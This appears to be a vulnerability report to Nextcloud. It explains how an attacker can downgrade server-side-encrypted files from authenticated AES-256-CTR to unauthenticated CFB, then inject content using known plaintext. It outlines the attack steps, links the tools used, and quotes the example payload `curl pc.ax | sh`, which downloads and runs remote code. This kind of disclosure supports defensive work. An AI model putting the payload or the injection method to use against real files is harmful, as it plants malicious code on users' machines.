3

Downgrade encryption scheme and break integrity through known-plaintext attack

Share:

TIMELINE

yahe submitted a report to Nextcloud. Nov 20th (3 years ago)

The idea behind the Server Side Encryption is that you can move your encrypted files to an external party without that external party being able to to read or modify those files. Some time ago, Nextcloud switched from unauthenticated CFB cipher block mode to authenticated CTR cipher block mode in an Encrypt-then-MAC scheme. However, backends compatibility has been maintained while downgrade attacks have been prevented on new files that use the CTR cipher block mode [1].

There is, however, one attack vector that has not been taken into account. CFB/OFB and CTR generate the same keystream for the first round, creating the possibility for a known-plaintext attack to extract the first bytes of the keystream. Furthermore, the downgrade attack only prevents files from not having a "signature" (HMAC) when their file header contain a CTR cipher. A downgrade is still possible when another mode like CFB/OFB is given in the file header.

Because of these two vulnerabilities, a downgrade attack in conjunction with a known-plaintext attack can be leveraged to break the integrity of files encrypted with Encrypt-then-MAC encryption scheme of Nextcloud using the newer AES-256-CTR cipher.

In the first step, you need access to an encrypted file (as an external storage provider would have). You do not need access to the encryption keys as this attack is directly mounted on the encrypted file itself. By using a tool (like `strip-signature.php` [2]), you can strip the signature elements from the content block footers and change the cipher in the file header from `AES-256-CTR` to `AES-256-CFB`. Nextcloud will happily decrypt this file, the first 16 bytes will be perfectly readable but the rest of the file will be gibberish.

In the second step, you need to know what the contents of the file will look like (known-plaintext attack). For Linux binaries this will be relative easy as the ELF file format has a predictable structure will little variation in the first 16 bytes of the file. The same holds true for Linux shell scripts that will probably have `#!/bin/bash\n` as the first 12 of the 16 bytes preset. The same holds true for Python scripts, which will probably start with something like `#!/usr/bin/env python\n` providing all the known-plaintext that the attacker will need. If you have enough knowledge about the inital content of the file you can just inject your target content into the encrypted file with the help of a little tool (like `inject-content.php` [3]).

With these two steps, the attacker successfully broke the integrity guarantees of the Nextcloud Server-Side Encryption and was able to inject malicious code into files that will probably be made executable by a user that has downloaded those files from the Nextcloud server. An injectable payload that fits in those 16 bytes might e.g. be `curl pc.ax | sh\n` which downloads additional code (without length constraints) from an external source at executes the additional payload.

[1] https://github.com/nextcloud/server/blob/a374d8837d6de459500e619cf608e0721ea14574/apps/encryption/lib/Crypto/Crypt.php#L571
[2] https://github.com/syseleven/nextcloud-tools/blob/master/strip-signature.php
[3] https://github.com/syseleven/nextcloud-tools/blob/master/inject-content.php

Impact

An attacker that has access to encrypted files that have been encrypted using the newest Encrypt-than-MAC encryption scheme with AES-256-CTR can be downgraded to unauthenticated AES-256-CFB encrypted files. Those downgraded files can then be injected with malicious content in the course of a known-plaintext attack (which is practically feasible as shown with ELF binaries, Python scripts, Bash scripts, etc.). Those injected binaries can then be used to further exploit the user.

1 attachment:
F639638: nextcloud_poc4.mp4